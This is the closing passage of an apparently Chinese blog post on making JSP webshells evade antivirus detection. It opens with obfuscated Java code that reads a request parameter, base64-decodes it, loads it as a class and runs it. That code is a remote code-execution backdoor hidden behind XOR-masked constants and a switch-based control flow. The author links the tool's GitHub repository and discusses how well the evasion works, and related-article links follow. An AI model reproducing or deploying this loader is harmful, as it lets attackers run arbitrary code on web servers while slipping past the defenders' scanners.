   Class AAsWwIQGRxHfKbdqLZev = null;
   Object BYaCKDJJsTfIPkqUyKoL = null;
   int YvkdhaCbnCbPDaUNRuBo = ((187401 ^ 1704406) ^ (1008132 ^ 1556443));
   while (YvkdhaCbnCbPDaUNRuBo < ((319511 ^ 1953485) ^ (612423 ^ 1078932))) {
       int cTJfJkZQDeaXOYYzRNnC = Integer.parseInt(FcuXNygiqPJbDZwvnlSg[YvkdhaCbnCbPDaUNRuBo++]);
       switch (cTJfJkZQDeaXOYYzRNnC) {
           case ((664766 ^ 1058149) ^ (44698 ^ 1748812)):
               for (int OxJhcBTqssMVndvyMIjo = ((309873 ^ 1246634) ^ (241737 ^ 1314706)); OxJhcBTqssMVndvyMIjo < ((333641 ^ 1628558) ^ (832090 ^ 1146007)); OxJhcBTqssMVndvyMIjo++) {
                   if (OxJhcBTqssMVndvyMIjo == ((861272 ^ 1921733) ^ (635827 ^ 1688871))) {
                       break;
                  }
              }
               break;
           case ((122212 ^ 1235151) ^ (468463 ^ 1318981)):
               dmjXOSyFxLGKfPNJeVkE = request.getParameter(dec(oNJuJikOgjxSAgpuapoa[((69673 ^ 1384378) ^ (410020 ^ 1199670))], ((115978 ^ 1645709) ^ (996168 ^ 1567430))));
               break;
           case ((1002251 ^ 1980313) ^ (29403 ^ 1117772)):
               BYaCKDJJsTfIPkqUyKoL = AAsWwIQGRxHfKbdqLZev.newInstance();
               break;
           case ((520420 ^ 1745450) ^ (7204 ^ 1920737)):
               jKpxyUZqKneUsfmnxTlC = this.getClass().getClassLoader();
               break;
           case ((167948 ^ 1791275) ^ (393195 ^ 1850060)):
               QTZxUuEMsBJWRNcudHyD = new VGakJDyicU(jKpxyUZqKneUsfmnxTlC);
               break;
           case ((327792 ^ 1385753) ^ (860610 ^ 1901735)):
               fOusiCauDCKbMzDlKvqw = base64Decode(dmjXOSyFxLGKfPNJeVkE);
               break;
           case ((944603 ^ 1361552) ^ (529251 ^ 1227823)):
               AAsWwIQGRxHfKbdqLZev = QTZxUuEMsBJWRNcudHyD.qwer(fOusiCauDCKbMzDlKvqw);
               break;
           case ((1757191 ^ 1036219) ^ (30436 ^ 1403230)):
               if (dmjXOSyFxLGKfPNJeVkE == null) {
                   return;
              }
               break;
           case ((361224 ^ 1559863) ^ (259966 ^ 1161544)):
               BYaCKDJJsTfIPkqUyKoL.equals(pageContext);
               break;
      }
  }
%>

总结

以上的免杀手段是否真正有用,笔者并不是很确定,因为已有的线上webshell查杀平台强度似乎不高

代码地址在:https://github.com/EmYiQing/JSPHorse

没想到不到一周已有400左右的Star,有点受宠若惊

最终总结下,其实在已有的免杀技术上加入混淆技术不一定能够提高免杀能力,因为例如method.invoke等关键类和方法的调用并没有改变,但这也是一种尝试,或许可以绕过一些基于模拟执行的检测,也可以增加防御方审计分析的成本

相关文章
|
5月前
|
缓存 安全 小程序
从基础到进阶:掌握Java中的Servlet和JSP开发
【6月更文挑战第23天】Java Web开发中的Servlet和JSP是关键技术,用于构建动态网站。Servlet是服务器端小程序,处理HTTP请求,生命周期包括初始化、服务和销毁。基础Servlet示例展示了如何响应GET请求并返回HTML。随着复杂性增加,JSP以嵌入式Java代码简化页面创建,最佳实践提倡将业务逻辑(Servlet)与视图(JSP)分离,遵循MVC模式。安全性和性能优化,如输入验证、HTTPS、会话管理和缓存,是成功应用的关键。本文提供了一个全面的学习指南,适合各级开发者提升技能。
47 7
|
6月前
|
前端开发 Java 数据库
【Spring原理进阶】SpringMVC调用链+JSP模板应用讲解
【Spring原理进阶】SpringMVC调用链+JSP模板应用讲解
|
Java
自定义jsp标签进阶
自定义jsp标签进阶
35 2
|
前端开发 Java
通用分页进阶之jsp之自定义标签
通用分页进阶之jsp之自定义标签
35 1
|
Java 物联网 Shell
Jsp Webshell在物联网的应用
Jsp Webshell在物联网的应用
|
Java
基于污点分析的JSP Webshell检测(三)
基于污点分析的JSP Webshell检测
197 0
基于污点分析的JSP Webshell检测(三)
|
Oracle Java 关系型数据库
基于污点分析的JSP Webshell检测(二)
基于污点分析的JSP Webshell检测
190 0
基于污点分析的JSP Webshell检测(二)
|
安全 Java
基于污点分析的JSP Webshell检测(一)
基于污点分析的JSP Webshell检测
381 0
基于污点分析的JSP Webshell检测(一)
|
算法 JavaScript Java
浅谈JSP Webshell进阶免杀(二)
浅谈JSP Webshell进阶免杀
279 0
|
JavaScript Java 数据安全/隐私保护
浅谈JSP Webshell进阶免杀(一)
浅谈JSP Webshell进阶免杀
871 0